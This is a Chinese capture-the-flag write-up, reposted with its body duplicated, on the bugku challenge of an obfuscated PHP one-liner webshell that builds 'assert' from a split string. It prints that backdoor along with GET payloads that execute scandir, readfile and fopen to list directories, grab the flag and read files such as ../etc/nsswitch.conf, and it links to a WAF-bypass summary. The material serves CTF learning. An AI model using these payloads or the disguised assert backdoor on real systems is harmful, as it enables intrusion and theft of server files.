标签:文件 显示 http 知识点 传递 其他 int 目录结构 new
题目描述:
题目描述:
上面的php进行格式化之后:
<?php $poc="a#s#s#e#r#t"; $poc_1=explode("#",$poc); $poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5]; $poc_2($_GET[‘s‘]) ?>
其整体的意思是:检查 get 得到的断言是否成立(用来判断一个表达式是否成立),参数会被执行
$poc_2和_GET[‘s‘]都会被解析成相应的函数,之后再执行
assert($_GET[‘s‘])
看看大佬的博客,构造payload,爆出当前目录下的文件名:
http://123.206.87.240:8010/?s=print_r(scandir(%27./%27))
%27是单引号 ‘ 的url编码
读出来array数组的值:
Array ( [0] => . [1] => .. [2] => 666.php [3] => 777.php [4] => a.php [5] => aa.php [6] => asd.php [7] => b.php [8] => flag_aaa.txt [9] => flag_sm1skla1.txt [10] => index.php [11] => newfile.txt [12] => readme.txt [13] => sy.php [14] => sy1.php [15] => sy2.php [16] => t1.php [17] => test.php [18] => test.txt [19] => testfile.txt [20] => webshell.php )
一个一个试:
最后这个url得到flag
http://123.206.87.240:8010/flag_sm1skla1.txt
试一下读取上级目录
http://123.206.87.240:8010/?s=print_r(scandir(%27../%27))
也可以读出来,权限没有限制。
读取当前目录,返回结果跟 ‘./ ‘ 一样,看来当前的目录名为web:
http://123.206.87.240:8010/?s=print_r(scandir(%27../web%27))
etc目录下的文件:
看了一圈发现,只要去直接访问资源,它就会有权限限制,而获取目录结构,是允许的。
当然可以构造其他的payload去获取想要的资源:
http://123.206.87.240:8010/?=print_r(readfile(‘../etc/nsswitch.conf‘)) http://123.206.87.240:8010/?s=print_r(fopen(‘../etc/nsswitch.conf‘,‘r‘))
在读取host文件时可以读出来,不知道nsswitch.conf是没权限还是因为其没内容,直接就显示空白,但访问成功了。
知识点
explode(separator,string,limit) 把字符串打散为数组。
separator
必需。规定在哪里分割字符串。
string
必需。要分割的字符串。
limit
可选。规定所返回的数组元素的数目。
大于 0 - 返回包含最多 limit 个元素的数组
小于 0 - 返回包含除了最后的 -limit 个元素以外的所有元素的数组
0 - 返回包含一个元素的数组
eval函数中参数是字符,如:
eval(‘echo 1;‘);
assert函数中参数为表达式 (或者为函数),如:
assert(phpinfo())
直接传递普通代码是无法执行的,如:assert(‘echo 1;’);
scandir()
$dir = "/images/";
$a = scandir($dir); // 以升序排序 - 默认
$b = scandir($dir,1); // 以降序排序
一个过狗的总结https://www.jianshu.com/p/0510ce81566d
————————————————
版权声明:本文为CSDN博主「s0i1」的原创文章,遵循 CC 4.0 BY 版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/changer_WE/article/details/89304399
上面的php进行格式化之后:
<?php $poc="a#s#s#e#r#t"; $poc_1=explode("#",$poc); $poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5]; $poc_2($_GET[‘s‘]) ?>
其整体的意思是:检查 get 得到的断言是否成立(用来判断一个表达式是否成立),参数会被执行
$poc_2和_GET[‘s‘]都会被解析成相应的函数,之后再执行
assert($_GET[‘s‘])
看看大佬的博客,构造payload,爆出当前目录下的文件名:
http://123.206.87.240:8010/?s=print_r(scandir(%27./%27))
%27是单引号 ‘ 的url编码
读出来array数组的值:
Array ( [0] => . [1] => .. [2] => 666.php [3] => 777.php [4] => a.php [5] => aa.php [6] => asd.php [7] => b.php [8] => flag_aaa.txt [9] => flag_sm1skla1.txt [10] => index.php [11] => newfile.txt [12] => readme.txt [13] => sy.php [14] => sy1.php [15] => sy2.php [16] => t1.php [17] => test.php [18] => test.txt [19] => testfile.txt [20] => webshell.php )
一个一个试:
最后这个url得到flag
http://123.206.87.240:8010/flag_sm1skla1.txt
试一下读取上级目录
http://123.206.87.240:8010/?s=print_r(scandir(%27../%27))
也可以读出来,权限没有限制。
读取当前目录,返回结果跟 ‘./ ‘ 一样,看来当前的目录名为web:
http://123.206.87.240:8010/?s=print_r(scandir(%27../web%27))
etc目录下的文件:
看了一圈发现,只要去直接访问资源,它就会有权限限制,而获取目录结构,是允许的。
当然可以构造其他的payload去获取想要的资源:
http://123.206.87.240:8010/?=print_r(readfile(‘../etc/nsswitch.conf‘)) http://123.206.87.240:8010/?s=print_r(fopen(‘../etc/nsswitch.conf‘,‘r‘))
在读取host文件时可以读出来,不知道nsswitch.conf是没权限还是因为其没内容,直接就显示空白,但访问成功了。
知识点
explode(separator,string,limit) 把字符串打散为数组。
separator
必需。规定在哪里分割字符串。
string
必需。要分割的字符串。
limit
可选。规定所返回的数组元素的数目。
大于 0 - 返回包含最多 limit 个元素的数组
小于 0 - 返回包含除了最后的 -limit 个元素以外的所有元素的数组
0 - 返回包含一个元素的数组
eval函数中参数是字符,如:
eval(‘echo 1;‘);
assert函数中参数为表达式 (或者为函数),如:
assert(phpinfo())
直接传递普通代码是无法执行的,如:assert(‘echo 1;’);
scandir()
$dir = "/images/";
$a = scandir($dir); // 以升序排序 - 默认
$b = scandir($dir,1); // 以降序排序
一个过狗的总结https://www.jianshu.com/p/0510ce81566d
————————————————
版权声明:本文为CSDN博主「s0i1」的原创文章,遵循 CC 4.0 BY 版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/changer_WE/article/details/89304399
bugku 过狗一句话
标签:文件 显示 http 知识点 传递 其他 int 目录结构 new
原文地址:https://www.cnblogs.com/ainv-123/p/11629991.html